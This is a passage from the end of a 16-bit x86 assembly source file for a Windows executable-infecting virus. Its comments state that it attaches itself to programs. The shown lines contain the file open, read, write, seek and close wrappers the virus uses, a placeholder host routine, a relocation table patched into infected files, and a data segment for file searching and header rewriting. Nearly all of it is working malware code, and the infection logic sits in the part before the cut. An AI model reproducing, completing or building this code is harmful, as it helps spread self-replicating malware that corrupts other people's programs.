  784. ;Calls to KERNEL-based file i/o go here.
  785.  
  786. FILE_OPEN:
  787.         push    es
  788.         push    ds                      ;push pointer to file name
  789.         push    dx
  790.         push    2                       ;open in read/write mode
  791. ROPEN:  call    FAR PTR _lopen
  792. ;        DB      09AH                    ;call far ptr _lopen
  793. ;ROPEN:  DW      0FFFFH,0
  794.         pop     es
  795.         ret                             ;return with handle in ax
  796.  
  797. FILE_READ:
  798.         push    es
  799.         push    bx                      ;preserve bx through this call
  800.         push    bx                      ;and pass handle to _lread
  801.         push    ds
  802.         push    dx                      ;buffer to read to
  803.         push    cx                      ;bytes to read
  804. RREAD:  call    FAR PTR _lread
  805. ;        DB      09AH                    ;call far ptr _lread
  806. ;RREAD:  DW      0FFFFH,0
  807.         pop     bx
  808.         pop     es
  809.         ret
  810.  
  811. FILE_WRITE:
  812.         push    es
  813.         push    bx                      ;preserve bx through this call
  814.         push    bx                      ;and pass handle to _lwrite
  815.         push    ds
  816.         push    dx                      ;buffer to write from
  817.         push    cx                      ;bytes to write
  818. RWRITE: call    FAR PTR _lwrite
  819. ;        DB      09AH                    ;call far ptr _lwrite
  820. ;RWRITE: DW      0FFFFH,0
  821.         pop     bx
  822.         pop     es
  823.         ret
  824.  
  825. FILE_SEEK_ST:
  826.         xor     al,al
  827. FILE_SEEK:
  828.         push    es
  829.         push    bx                      ;preserve bx in this call
  830.         push    bx                      ;and push for call
  831.         push    cx
  832.         push    dx                      ;number of bytes to move
  833.         xor     ah,ah                   ;ax=origin to seek from
  834.         push    ax                      ;0=beginning, 1=current, 2=end
  835. RSEEK:  call    FAR PTR _llseek
  836. ;        DB      09AH                    ;call far ptr _llseek
  837. ;RSEEK:  DW      0FFFFH,0
  838.         pop     bx
  839.         pop     es
  840.         ret
  841.  
  842. FILE_CLOSE:
  843.         push    bx                      ;pass handle to _lclose
  844. RCLOSE: call    FAR PTR _lclose
  845. ;        DB      09AH                    ;call far ptr _lclose
  846. ;RCLOSE: DW      0FFFFH,0
  847.         ret
  848.  
  849.  
  850. ;******************************************************************************
  851. ;The following HOST is only here for the inital startup program. Once the virus
  852. ;infects a file, the virus will jump to the startup code for the program it
  853. ;is attached to.
  854. HOST:
  855.         push    0
  856.         call    FAR PTR PostQuitMessage         ;terminate program (USER)
  857.  
  858.  
  859. ;The following are the relocatables added to the relocation table in this
  860. ;sector in order to accomodate the virus. This must be the last thing in the
  861. ;code segment in order for the patch program to work properly.
  862. ARELOCS         DW      5                       ;number of relocatables to add
  863.  
  864. R_OPEN          DW      103H,OFFSET ROPEN+1,1,85  ;relocatables table
  865. R_READ          DW      103H,OFFSET RREAD+1,1,82
  866. R_WRITE         DW      103H,OFFSET RWRITE+1,1,86
  867. R_SEEK          DW      103H,OFFSET RSEEK+1,1,84
  868. R_CLOSE         DW      103H,OFFSET RCLOSE+1,1,81
  869.  
  870.  
  871. ;******************************************************************************
  872. END_VIRUS:                              ;label for the end of the windows virus
  873.  
  874. CODE    ENDS
  875.  
  876. ;No data is hard-coded into the data segment since in Windows, the virus must
  877. ;allocate the data segment when it runs. As such, we must assume it will be
  878. ;filled with random garbage when the program starts up. The CREATE_DS routine
  879. ;below initializes some of the data used in this segment that would be
  880. ;hard-coded in a normal program.
  881. _DATA   SEGMENT PARA USE16 'DATA'
  882.  
  883. DATASTART       EQU     $
  884.  
  885. FILE_ID1        DB      6 dup (?)               ;for searching for files
  886. FILE_ID2        DB      6 dup (?)               ;for searching for files
  887. KNAME           DB      6 dup (?)               ;"KERNEL"
  888. FILE_NAME       DB      13 dup (?)              ;file name
  889. VSTART          DW      ?                       ;starting offset of virus in ram
  890. ENTRYPT         DW      ?                       ;initial ip of virus start
  891. NH_OFFSET       DW      ?                       ;new header offset from start of file
  892. VIRSECS         DW      ?                       ;size added to file (secs) for virus
  893. INITSEC         DW      ?                       ;initial cs loc in file (sectors)
  894. RELOCS          DW      ?                       ;number of relocatables in cs
  895. LOG_SEC         DW      ?                       ;logical sector size for program
  896. CS_SIZE         DW      ?                       ;code segment size
  897. KERNEL          DW      ?                       ;KERNEL module number
  898. MEM_HANDLE      DD      ?                       ;memory handle for data segment
  899. NEW_HDR         DB      NEW_HDR_SIZE dup (?)    ;space to put new exe header in
  900. TEMP            DB      DATABUF_SIZE dup (?)    ;temporary data storage
  901.  
  902. DATAEND         EQU     $
  903.  
  904. _DATA   ENDS
  905.  
  906.  
  907. _STACK  SEGMENT PARA USE16 STACK 'STACK'
  908. _STACK  ENDS
  909.  
  910.         END     VIRUS
  911.